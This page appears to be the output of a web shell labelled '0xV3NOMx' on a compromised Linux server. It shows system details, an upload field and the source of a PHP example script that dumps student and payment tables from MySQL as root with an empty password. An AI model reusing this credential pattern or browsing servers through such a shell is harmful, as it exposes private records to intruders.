0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 18.116.85.96


Current Path : /proc/thread-self/root/var/www/html/sdu/ExcelWriterXML/
Upload File :
Current File : //proc/thread-self/root/var/www/html/sdu/ExcelWriterXML/example3_db.php

<?php
/**
 * Example using built in MYSQL DB functions
 * @package ExcelWriterXML
 * @subpackage examples
 * @filesource
 */

include('ExcelWriterXML.php');
$xml = new ExcelWriterXML('my file.xml');
$xml->showErrorSheet(true);
/*****************  ADD multiple tables all at once ***********/
$tables = array(
	'dctran',
	'dcstud',
);
$xml->mysqlTableDump('localhost','root','','resultsg_cug',$tables,null);

/*****************  ADD one table at a time ***********/
//$xml->mysqlTableDump('localhost','root','','resultsg_cug','dctran','dctran2');
//$xml->mysqlTableDump('localhost','root','','resultsg_cug','dcstud','dcstud2');

/*****************  ADD a sheet, execute a query against that sheet ***********/

$qSheet = $xml->addSheet('My Query');
$query = "select dc.fappno as Application_No, dc.fregno as Roll_No, dc.fname as Name from dctran dc where fpaystatus = 'success'";
$qSheet->mysqlQueryToTable('localhost','root','',$query);
$xml->sendHeaders();
$xml->writeData();

?>